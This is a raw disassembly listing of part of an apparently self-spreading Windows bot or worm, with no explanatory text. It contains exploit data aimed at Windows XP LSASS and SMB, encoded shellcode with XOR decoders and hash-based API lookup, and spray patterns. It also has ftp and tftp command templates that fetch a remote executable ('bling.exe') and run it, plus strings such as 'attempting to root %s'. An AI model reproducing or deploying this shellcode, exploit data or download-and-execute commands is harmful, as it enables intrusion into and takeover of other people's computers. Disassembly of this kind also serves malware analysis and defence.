		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_428420	dd 0			; DATA XREF: sub_403249+35Fo
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4284E0	dd 1004600h		; DATA XREF: sub_403249+140r
					; sub_403249+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
dword_428598	dd 0A0D7325h, 0		; DATA XREF: sub_4030E8+102o
					; sub_405144+DFo ...
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
					; DATA XREF: sub_4030E8+BEo
		db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_4030E8+97o
; ---------------------------------------------------------------------------


loc_428620:				; DATA XREF: sub_403249+177o
		jmp	short loc_428628
; ---------------------------------------------------------------------------
		jmp	short loc_42862A
; ---------------------------------------------------------------------------
		align 8


loc_428628:				; CODE XREF: ___:loc_428620j
					; DATA XREF: sub_403249+27o
		pop	esp
		pop	esp


loc_42862A:				; CODE XREF: ___:00428622j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_428634	dd 1CEC8166h		; DATA XREF: sub_403249+Dr
dword_428638	dd 0E4FF07h		; DATA XREF: sub_403249+16r
byte_42863C	db 90h			; DATA XREF: sub_403A90+B2o
		db 42h,	90h, 42h
		db 90h
		dd offset word_429042
		align 4
dword_428648	dd 10FF8h, 0		; DATA XREF: sub_403A90+6Ao
dword_428650	dd 10FF8h		; DATA XREF: sub_403A90+79o
dword_428654	dd 7FFDF020h, 0		; DATA XREF: sub_403A90+162o
dword_42865C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_403EBA+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4286E4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_403EBA+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_428714	dd 0			; DATA XREF: sub_403EBA+44o
		dd 800000D4h, 0
unk_428720	db  81h	; 		; DATA XREF: sub_403F94+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_42876C	db 41h			; DATA XREF: sub_404032+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4287B0	proc near		; DATA XREF: ___:0040430Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4288AC
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4288C2
		mov	[esi+8], eax
		call	sub_428875
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4288C2
		mov	[esi+0Ch], eax
		call	sub_428827
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4288C2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4287B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_428827	proc near		; CODE XREF: sub_4287B0+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_428850
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_428827	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428850	proc near		; CODE XREF: sub_428827+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_42885F:				; CODE XREF: sub_428850+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_42886C
		inc	ebx
		jmp	short loc_42885F
; ---------------------------------------------------------------------------


loc_42886C:				; CODE XREF: sub_428850+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_428850	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428875	proc near		; CODE XREF: sub_4287B0+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_42888D:				; CODE XREF: sub_428875+1Ej
		cmp	[ecx], ebx
		jz	short loc_428895
		mov	ecx, [ecx]
		jmp	short loc_42888D
; ---------------------------------------------------------------------------


loc_428895:				; CODE XREF: sub_428875+1Aj
		mov	edx, edi


loc_428897:				; CODE XREF: sub_428875+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4288A1
		mov	edx, [edx+4]
		jmp	short loc_428897
; ---------------------------------------------------------------------------


loc_4288A1:				; CODE XREF: sub_428875+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_428875	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288AC	proc near		; CODE XREF: sub_4287B0+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4288AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4288C2	proc near		; CODE XREF: sub_4287B0+16p
					; sub_4287B0+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4288D8:				; CODE XREF: sub_4288C2+33j
		jecxz	short loc_428912
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4288E5:				; CODE XREF: sub_4288C2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4288F1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4288E5
; ---------------------------------------------------------------------------


loc_4288F1:				; CODE XREF: sub_4288C2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4288D8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_428912:				; CODE XREF: sub_4288C2:loc_4288D8j
					; sub_4288C2:loc_428912j
		jmp	short loc_428912
sub_4288C2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_428918	proc near		; DATA XREF: ___:004042BFo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42896A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_428935:				; CODE XREF: sub_428918+38j
		jecxz	short loc_428965
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_428940:				; CODE XREF: sub_428918+32j
		lodsb
		test	al, al
		jz	short loc_42894C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_428940
; ---------------------------------------------------------------------------


loc_42894C:				; CODE XREF: sub_428918+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_428935
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_428965:				; CODE XREF: sub_428918:loc_428935j
		mov	[esp+arg_0], ebx
		retn
sub_428918	endp


; =============== S U B	R O U T	I N E =======================================



sub_42896A	proc near		; CODE XREF: sub_428918+7p

; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_428983
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_42898E
; ---------------------------------------------------------------------------


loc_428983:				; CODE XREF: sub_42896A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_42898E:				; CODE XREF: sub_42896A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4289A2
sub_42896A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428995	proc near		; CODE XREF: sub_42896A:loc_4289A2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_428995	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42896A


loc_4289A2:				; CODE XREF: sub_42896A+29j
		call	sub_428995


loc_4289A7:				; DATA XREF: sub_403A35+1Bo
					; sub_40EE72+822o
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42896A
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4289AC	dd 60h			; DATA XREF: sub_403A90+320o
dword_4289B0	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o
dword_4289BC	dd 30h			; DATA XREF: sub_403A90+2CAo
					; ___:0042FA18o
dword_4289C0	dd 0A1h			; DATA XREF: sub_403A90+29Fo
dword_4289C4	dd 3			; DATA XREF: sub_403A90+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_403A90+153o
		align 10h


loc_4289D0:				; DATA XREF: sub_403A90+E8o
		jmp	short near ptr dword_4289D8
; ---------------------------------------------------------------------------
		align 8
dword_4289D8	dd 0			; CODE XREF: ___:loc_4289D0j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: ___:004042E4o
					; sub_404F9A+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
dword_428A50	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo
; ---------------------------------------------------------------------------


loc_428A5C:				; CODE XREF: ___:00428A66j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_428A5C
		inc	edi
		jz	short loc_428AA3
		and	eax, 952CE753h
		inc	esp
		jle	short loc_428ACB
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_428AA3:				; CODE XREF: ___:00428A69j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_428B02+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_428AC8:				; CODE XREF: ___:00428AF5j
		xor	[esi-25h], bl


loc_428ACB:				; CODE XREF: ___:00428A71j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_428AE4:				; CODE XREF: ___:00428B17j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
		rep fld	tbyte ptr [eax-12h]
		jz	short loc_428AC8
		xchg	eax, ebp
		imul	esi, [esi+0Ah],	63h
		dec	esi
		mov	bl, 84h
		xchg	eax, ebp
		insd
		dec	ebp


loc_428B02:				; CODE XREF: ___:00428AA9j
		cmp	byte ptr [ecx],	0E8h
		dec	ebp
		nop
		cmp	eax, edi
		dec	ebp
		sub	al, 0BAh
		fnsave	byte ptr [esi-2Dh]
		paddusw	mm1, qword ptr [ebp+5Ah]
		mov	ebp, [esi]
		jbe	short loc_428B8E
		jo	short loc_428AE4
		fld	dword ptr [ebp+edx*4+3BC3746Dh]
		out	dx, al
		loope	near ptr loc_428B25+1
		add	bl, [edi]


loc_428B25:				; CODE XREF: ___:00428B21j
		mov	bl, 0FDh
		sub	esp, 0FFFFFFE1h
		add	eax, 3E1EE39h
		add	bl, [esi+57h]
		push	ebp
		and	ebp, esp
		loope	near ptr loc_428B3A+2
		cmp	ch, bh
		dec	edx


loc_428B3A:				; CODE XREF: ___:00428B35j
		xchg	dl, [ebp-72447295h]
		retn	0AAD8h
; ---------------------------------------------------------------------------
		db 3Dh
		dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
		dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
		dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h,	6BB94FEAh
		dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
		db 44h,	0C8h
; ---------------------------------------------------------------------------


loc_428B8E:				; CODE XREF: ___:00428B15j
		mov	ecx, 2C294495h
		mov	edx, 0E92F4930h
		jg	short loc_428C14
		sub	al, 0BCh
		jmp	near ptr 54448F82h
; ---------------------------------------------------------------------------
		db 0D0h, 33h, 0Ah
		dd 9505E1E8h, 6AD31E6Bh, 0
dword_428BB0	dd 0EFFFC481h, 44FFFFh,	428BFCh	; DATA XREF: ___:00404BE6o
dword_428BBC	dd 42Ah			; DATA XREF: ___:00404B99r
dword_428BC0	dd 3E8h			; DATA XREF: ___:00404C0Ar
dword_428BC4	dd 258h			; DATA XREF: ___:00404BDCr
byte_428BC8	db 0			; DATA XREF: ___:00404B45r
					; ___:00404C13r
		align 4
		dd offset aWindowsXpSp0Sp ; "Windows XP	(SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_428BE0	dd 20804h		; DATA XREF: sub_404853r ___:00404C31o ...
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo
		align 4
		dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
		dd 532D3050h
; ---------------------------------------------------------------------------


loc_428C14:				; CODE XREF: ___:00428B98j
		push	eax
		xor	al, 29h


loc_428C17:				; DATA XREF: ___:00404B6Do
		add	bl, ch
		add	al, [eax]
; ---------------------------------------------------------------------------
		db 0
		align 10h
dword_428C20	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: ___:00404A9Do
dword_428C34	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: ___:00404A41o
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o
		align 4
a_:					; DATA XREF: sub_406387+252o
		unicode	0, <.>,0
dword_428C60	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh	dup(64646464h)
		db 2 dup(64h)
word_429042	dw 6464h		; DATA XREF: ___:00428641o
		dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h
		dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h
		dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h	dup(69696969h)
		dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh)
		dd 16B6B6Bh, 6C6C6C01h,	8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh
		dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h
		dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h
		dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h
		dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh,	73941BC9h
		dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h
		dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h
		dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh
		dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h,	0E19A5097h
		dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh
		dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh
		dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh
		dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h
		dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h
		dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h,	14539B36h
		dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh,	0D62D8E93h
		dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h
		dd 5780EE37h, 4838E43h,	5180BD0Ch, 0EFAF269Ah, 0D87B5338h
		dd 78A9269Bh, 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4


loc_429E74:				; DATA XREF: ___:00405319o
		add	al, 54h
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax


loc_429E92:				; CODE XREF: ___:00429EE2j
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		fmul	st(1), st
		mov	al, 42h
		jmp	short loc_429EE9
; ---------------------------------------------------------------------------
		dec	edx
		inc	ebx
		push	esp
		dec	eax
		inc	ebx
		and	[ecx], eax
		jo	short loc_429E92
		inc	edx
		add	[eax-52h], esi
		inc	edx


loc_429EE9:				; CODE XREF: ___:00429ED9j
		mov	edi, esp
		add	edi, 2Ch
		sub	sp, 204h
		xor	ecx, ecx
		mov	dl, 35h
		add	cx, 138h


loc_429EFC:				; CODE XREF: ___:00429F03j
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_429EFC
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
		int	28h		; DOS 2+ internal - KEYBOARD BUSY LOOP
		test	eax, 79E4B9EBh
		inc	ebp
		loope	loc_429F4D
		lds	edx, [edx]
		adc	eax, 623D0515h
		db	66h
		pop	es
		push	6
		pop	es
		assume es:nothing
		sbb	esi, [ecx+79h]
		jns	short near ptr loc_429F59+3
		fidiv	word ptr [eax]
		fxch4	st(4)
		retf	0CACAh
; ---------------------------------------------------------------------------
		db 68h
		dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh,	0B83D4DBEh
		dd 2EBE096Ah, 6EBECE34h
; ---------------------------------------------------------------------------
		dec	ebp


loc_429F4D:				; CODE XREF: ___:00429F15j
		xor	al, 0CEh
		mov	esi, 0CC34297Eh
		mov	esi, 0CF341166h


loc_429F59:				; CODE XREF: ___:00429F26j
		db	64h, 67h
		mov	si, 156Eh
		xor	al, 0CEh
		add	al, 0FCh
		jz	short near ptr loc_429F67+2
		cmc
		lodsb


loc_429F67:				; CODE XREF: ___:00429F63j
		mov	esi, 0CB34BE01h
		cdq
		add	al, 0F7h
		in	al, 0D7h
		mov	cl, 0F5h
		inc	eax
		retn	833Ah
; ---------------------------------------------------------------------------
		db 70h
		dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h
		dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh
		dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h
		dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h
		dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h
		dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h
		dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h,	66A13930h
		dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h
		dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h
		dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h
word_42A040	dw 7A69h		; DATA XREF: sub_405144+30r
		align 4
aEchoOpenSDOE_0	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_405144+97o
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 10h
unk_42A0B0	db    2			; DATA XREF: ___:00405367o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 25h,	73h, 2Eh
		db  65h	; e
		db 1Fh,	78h, 1Fh
		db  70h	; p
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAttemptingToRo	db 'attempting to root %s',0
		align 10h
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o
aQuit		db 'QUIT',0             ; DATA XREF: sub_4053D5+5BCo
					; sub_40EE72+537o
		align 4
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_4053D5+5AFo
		align 4
unk_42A128	db    3			; DATA XREF: sub_4053D5+564o
		db 33h,	6Eh, 2
		db  7Ah	; z
		db 1Fh,	6Dh, 1Fh
		db  20h
		db 28h,	66h, 74h
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	3, 34h
aSPortDNowExecu	db '»»  %s, port:%d now executing %s on remote ABOSAL7.',0
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_4053D5+519o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_4053D5+501o
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_4053D5+4DBo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_4053D5+4A8o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_4053D5+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_4053D5+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_4053D5+3AFo
		align 10h
